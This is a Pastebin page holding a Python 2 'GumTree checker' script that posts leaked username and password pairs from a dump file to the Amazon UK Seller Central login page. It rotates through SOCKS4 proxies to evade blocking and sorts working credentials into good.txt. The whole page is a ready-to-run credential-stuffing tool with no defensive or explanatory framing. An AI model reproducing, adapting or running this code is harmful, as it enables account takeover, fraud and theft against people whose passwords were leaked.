Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import os
- import sys
- import requests
- import requesocks
- import urllib
- import threading
- from optparse import OptionParser
- from BeautifulSoup import BeautifulSoup as beatsop
- #GumTree checker v1.0
- userAgent = u"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36"
- url = "https://sellercentral.amazon.co.uk/gp/homepage.html"
- threads = 5
- proxylist = {}
- dumpslist = {}
- proxy_count = 0;
- good = open("good.txt", "w")
- bad = open("bad.txt", "w")
- class ThreadProcess (threading.Thread):
- def __init__(self):
- threading.Thread.__init__(self)
- def run(self):
- global proxylist
- global dumpslist
- global good
- global bad
- global proxy_count
- while (1==1):
- threadLock.acquire()
- if (proxy_count >= len(proxylist.keys())):
- proxy_count = 0
- if (len(proxylist.keys()) == 0):
- print "No more good proxies update list"
- threadLock.release()
- return
- prox = proxylist.keys()[proxy_count]
- proxy = prox[:prox.index(':')]
- port = int(prox[prox.index(':') + 1:])
- proxy_count = proxy_count + 1
- dump = ""
- for line in dumpslist.keys():
- if (dumpslist[line] == 0):
- dump = line
- break
- if (dump == ""):
- print "No more dumps"
- threadLock.release()
- return
- dumpslist[dump] = 1
- # print "Checking..." + dump
- threadLock.release()
- if (';' in dump):
- login = dump[:dump.index(';')]
- pwd = dump[dump.index(';') + 1:]
- else:
- login = dump[:dump.index(':')]
- pwd = dump[dump.index(':') + 1:]
- res = checkLogin(login, pwd, proxy, port)
- if (res == 200):
- print dump + " ... " + '\033[92m' + "[GOOD]" + '\033[0m'
- good.write(dump + "\r\n")
- good.flush()
- os.fsync(good)
- elif (res == 300):
- print dump + " ... " + '\033[91m' + "[BAD]" + '\033[0m'
- bad.write(dump + "\r\n")
- bad.flush()
- os.fsync(bad)
- else:
- print dump + " ... " + '\033[94m' + "[PROXY FAILIURE]" + '\033[0m'
- threadLock.acquire()
- dumpslist[dump] = 0;
- try:
- proxylist[prox] = proxylist[prox] + 1
- if (proxylist[prox] == 3):
- del proxylist[prox]
- except:
- print "Proxy already removed"
- threadLock.release()
- def cleanline(line):
- try:
- line = line.encode("utf-8")
- except:
- line = ""
- return line
- line = line.replace("\n", "")
- line = line.replace("\r", "")
- return line
- def checkLogin(user, password, socks, port):
- headers = {u'Content-type': u'application/x-www-form-urlencoded', u'User-Agent' : userAgent, u'Accept-Language' : u"en-US,en;q=0.5", u'Accept-Encoding' : u'gzip, deflate', u'Connection':'keep-alive' }
- session = requesocks.session()
- session.proxies = {'http' : 'socks4://' + socks + ':' + str(port), 'https' : 'socks4://' + socks + ':' + str(port)}
- result = ""
- try:
- params = "username=" + user + "&password=" + password
- rp = session.post(url, headers=headers, data=params, timeout=60, allow_redirects=False)
- ok = rp.headers.get('location')
- if ok == None:
- return 300
- else:
- return 200
- except Exception,e:
- return 404
- parser = OptionParser()
- parser.add_option("-s", "--socks", dest="socks", help="Socks file source", metavar="FILE")
- parser.add_option("-l", "--logins", dest="logins", help="Login dump source file", metavar="FILE")
- parser.add_option("-t", "--threads", dest="threads", help="Thread count", metavar="INTEGER")
- (options, args) = parser.parse_args()
- if (options.socks == None):
- print "Socks required!"
- parser.print_help()
- exit()
- elif (options.logins == None):
- print "No logins to check. Common man why did you invoked me?"
- parser.print_help()
- exit()
- if (options.threads == None):
- print "Running 5 Threads"
- else:
- threads = int(options.threads)
- print "Running " + str(threads) + " Threads"
- try:
- fis = open(options.socks, "r")
- except:
- print "Could not load socks list. Invalid path?"
- exit()
- print "Loading socks list ..."
- count = 0
- for line in fis:
- count = count + 1
- line = cleanline(line)
- if not (':' in line):
- print "ERROR! Invalid line proxy:" + str(count)
- continue
- else:
- proxylist[line] = 0
- print "Loading logins list ... "
- try:
- fis = open(options.logins, "r")
- except:
- print "Could not load login list. Invalid path ?"
- exit()
- count = 0
- for line in fis:
- count = count + 1
- line = cleanline(line)
- if not ((':' in line) or (';' in line)):
- print "ERROR! Invalid line dump:" + str(count)
- continue
- else:
- dumpslist[line] = 0
- print "Starting threads ... "
- threadLock = threading.Lock()
- thrd = []
- for i in range(1, threads + 1):
- t = ThreadProcess()
- thrd.append(t)
- t.start()
- for t in thrd:
- t.join()
- print "GumTree Checker Finished enjoy!"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement